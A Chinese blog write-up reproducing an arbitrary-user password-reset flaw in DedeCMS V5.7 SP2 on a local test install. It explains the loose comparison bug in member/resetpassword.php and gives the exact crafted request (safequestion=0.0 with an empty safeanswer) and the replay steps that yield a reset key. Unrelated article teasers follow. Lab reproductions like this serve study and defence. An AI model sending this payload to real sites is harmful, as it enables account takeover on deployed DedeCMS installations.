织梦CMS_V5.7任意用户密码重置漏洞复现

一、漏洞说明
织梦内容管理系统(DeDeCMS)以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统,它在多年的发展中取得了显著进步,无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国,DedeCMS被认为是最受欢迎的CMS系统之一。但是,最近发现该系统的一个漏洞位于member/resetpassword.php文件中。由于未对接收的参数safeanswer进行严格的类型判断,攻击者可以利用弱类型比较来绕过安全措施。
DeDecms V5.7SP2正式版存在一个未修复的漏洞,允许任意用户密码重置。漏洞位于member/resetpassword.php文件中,因未对传入的参数safeanswer进行严格类型检查,导致可使用弱类型比较绕过。在代码分析中,当 d o p o s t 等于 s a f e q u e s t i o n 时,通过传入的 dopost等于safequestion时,通过传入的 dopost等于safequestion时,通过传入的mid查询用户信息,判断安全问题和答案是否匹配。由于使用 == 而不是 ===,可绕过判断。当安全问题值为0,答案值为空,经过弱类型处理后仍可通过判断。
二、搭建环境
织梦CMS V5.7PS2靶场蓝奏云下载:https://wwti.lanzouj.com/iQirO15gp8fg
访问https://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads进行安装(直接继续)
在这里插入图片描述

点继续
在这里插入图片描述在这里插入图片描述

登录后台
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/dede/login.php?gotopage=%2FDedeCMS-V5.7-UTF8-SP2%2Fuploads%2Fdede%2F
在这里插入图片描述在这里插入图片描述在这里插入图片描述

往下翻点确定即可
登录首页
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/index.php?upcache=1
在这里插入图片描述

三、漏洞复现
1.注册测试账号
先注册两个测试账号,以用户名作为密码
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/member/index_do.php?fmdo=user&dopost=regnew
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

2.登录账号
登录账号,在个人主页那里利用漏洞
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/member/
在这里插入图片描述

3.抓包访问
在这里插入图片描述

url后面输入
resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2 运行重置密码链接(2是在后台看到的那个对应的账户编号。)
在这里插入图片描述

4.重放获取key
发送到重放。重放几次后会看到一个key,如下图
在这里插入图片描述

5.访问临时链接
然后我们访问这个修改临时密码的链接,会直接跳转到修改密码界面
注意这个链接需要手动删除2个amp;
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&id=2&key=cSDrs9tm
在这里插入图片描述

6.修改密码
输入新密码,比如admin,然后登录试下,发现登录成功,数据库里查到的也是admin
在这里插入图片描述

漏洞利用成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/77402.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 YCSB 和 PE 进行 HBase 性能压力测试

HBase主要性能压力测试有两个,一个是 HBase 自带的 PE,另一个是 YCSB,先简单说一个两者的区别。PE 是 HBase 自带的工具,开箱即用,使用起来非常简单,但是 PE 只能按单个线程统计压测结果,不能汇…

调教 文心一言 生成 AI绘画 提示词(Midjourney)

文章目录 第一步第二步第三步第四步第五步第六步第七步第八步 文心一言支持连续对话 我瞎玩的非专业哈哈 第一步 你好,今天我们要用扩散模型创建图像。我会给你提供一些信息。行吗? 第二步 这是Midjourney的工作原理:Midjourney是另一个基于ai的工具,能…

Codeforces Round 894 div3 题解 | JorbanS

A. Gift Carpet 题意 从左到右选择四列&#xff0c;使得四列分别对应字母 v , i , k , a v,i,k,a v,i,k,a string solve() {int n, m; cin >> n >> m;char s[N][N];char a[5] "vika";int cnt 0;for (int i 0; i < n; i ) cin >> s[i];for…

Spring boot @ConditionalOnProperty 使用以及作用

ConditionalOnProperty 来源 import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;即&#xff1a; 来源于Spring boot 中的自动化配置部分 实际作用&#xff1a; 通过读取本地配置文件中的值来判断 某些 Bean 或者 配置类 是否加入spring 中。 …

【海思SS626 | 开发环境】VMware17安装Ubuntu 18.04.6

目录 一、下载 Ubuntu 18.04.6 LTS二、VMware17创建虚拟机三、安装Ubuntu18.04LTS四、安装其他软件五、总结 一、下载 Ubuntu 18.04.6 LTS 问题&#xff1a;为什么要下载 Ubuntu18.04.6 LTS 而不是使用最新的&#xff0c;或者其他Linux发行版&#xff1f; 答&#xff1a;在ss6…

github上创建分支并合并到master

github上创建分支并合并到master 目录概述需求&#xff1a; 设计思路实现思路分析1.创建分支2.commit changes3.create pull request按钮4.网页解析器5.数据处理器 参考资料和推荐阅读 Survive by day and develop by night. talk for import biz , show your perfect code,ful…

Zabbix监控平台环境部署

Zabbix监控平台环境部署 1.Linux环境部署 hostnamectl set-hostname zabbix_server #修改主机名方便查看 hostnamectl set-hostname zabbix_agent ​ systemctl stop firewalld #关闭防火墙 systemctl disable firewalld #关闭防火墙开机自启 setenforce 0 #关闭SElinu…

cart算法python实现:从CART算法中学习如何构建有效的决策树

CART&#xff08;Classification and Regression Tree&#xff09;算法是一种基于树的机器学习算法&#xff0c;用于分类和回归分析。它使用一种叫做分类和回归树&#xff08;CART&#xff09;的决策树结构&#xff0c;通过将数据集分割成多个子集来建立模型。 CART&#xff0…

Matlab数组操作进阶:扩维与构造

在Matlab中&#xff0c;数组是最基本的数据结构之一。它可以存储多个元素&#xff0c;并且可以进行各种操作。在之前的文章中&#xff0c;我们已经介绍了一些基本的数组操作&#xff0c;例如索引、切片和运算。然而&#xff0c;Matlab还提供了许多高级的数组操作&#xff0c;本…

git-git命令汇总

1.git 存储永久凭据 git config --global credential.helper store 2.git 查询分支或标签的引用 git show-ref 【标签名|分支名】 3.git 搜索关键分支和tag git tag -l *branch* --sortcommitterdate 4.git 删除标签 git tag -d v1.32 删除标签v1.32&#xff0c;参数d…

27-代码随想录--数组--移除元素

力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 给你一个数组 nums 和一个值 val&#xff0c;你需要 原地 移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须仅使用 O(1) 额外空间并原…

学习记忆——宫殿篇——记忆宫殿——数字编码——三十六计

案例&#xff1a;中国古代兵书《三十六计》 第1计 瞒天过海 第2计 围魏救赵 第3计 借刀杀人 第4计 以逸待劳 第5计 趁火打劫 第6计 声东击西 第7计 无中生有 第8计 暗渡陈仓 第9计 隔岸观火 第10计 笑里藏刀 我们可以这样记忆&#xff1a; 一、先熟悉1-10的编码&#xff1a;…

算法的概述

1.算法和数据结构 1.1. 算法 在计算机领域&#xff0c;算法是一系列程序指令&#xff0c;用于处理特定的运算和逻辑的问题。 算 法中的指令描述的是一个计算&#xff0c;当其运行时能从一个初始状态和&#xff08;可能为空的&#xff09;初始输入开始&#xff0c;经过一系列…

windows安装pytorch

windows安装pytorch 1. 安装cuda pytorch官网我要安装1.12.1对应的cuda有三个版本&#xff0c;我选了11.6 去官网安装这个版本的cuda下载链接 安装后打开命令行输入nvcc -V&#xff0c;可以显示版本则安装成功&#xff0c;如果显示nvcc不是外部命令&#xff0c;进入安装文件…

数据结构与算法-选择冒泡快排计数

一&#xff1a;选择排序 场景&#xff1a;找出一个班上身高最高的人你会怎么找&#xff1f;A B C D A B 选择排序的思路和插入排序非常相似&#xff0c;也分已排序和未排序区间。但选择排序每次会从未排序区间中找到最小的元素&#xff0c;将其放到已排序区间的末尾。但是不像插…

深度学习:循环神经网络RNN及LSTM

深度学习&#xff1a;循环神经网络RNN及LSTM 循环神经网络RNN原理代码 长短期记忆网络LSTM原理遗忘门记忆门输出门 代码 循环神经网络RNN 原理 对于传统的神经网络&#xff0c;它的信号流从输入层到输出层依次流过&#xff0c;同一层级的神经元之间&#xff0c;信号是不会相互…

【SpringMVC】JSR 303与拦截器注解使用

一、JSR 303 1.1 JSR 303介绍 JSR 303&#xff0c;它是Java EE&#xff08;现在称为Jakarta EE&#xff09;规范中的一部分。JSR 303定义了一种用于验证Java对象的标准规范&#xff0c;也称为Bean验证。 Bean验证是一种用于验证对象属性的框架&#xff0c;它可以确保对象符合特…

巧妙的设计

1. 判空逻辑,如果为空,抛异常,下面代码来自kafka client: Assert.notNull(queue, () -> "No cache found for " + txIdPrefix); 2. 本地cache设计,一下代码来自kafka client: private final Map<String, BlockingQueue<CloseSafeProducer<K, V&g…

Verilog零基础入门(边看边练与测试仿真)-时序逻辑-笔记(4-6讲)

文章目录 第四讲第五讲第六讲 第四讲 1、计数器 代码&#xff1a; //计数器 timescale 1ns/10ps module counter(clk,res,y); input clk; input res; output[7:0] y;reg[7:0] y; wire[7:0] sum;//1运算的结果&#xff08;1&#xff0…

Redis高效、安全的不停机数据迁移方案

Redis是目前最流行的键值对存储数据库&#xff0c;凭借高性能和丰富的数据类型的特性&#xff0c;不仅可以作为缓存&#xff0c;还可以作为一个可持久化的数据库存储。随着业务的发展和版本的迭代&#xff0c;必然会遇到内存不足、集群节点不够和BUG等一系列问题。为了防止这些…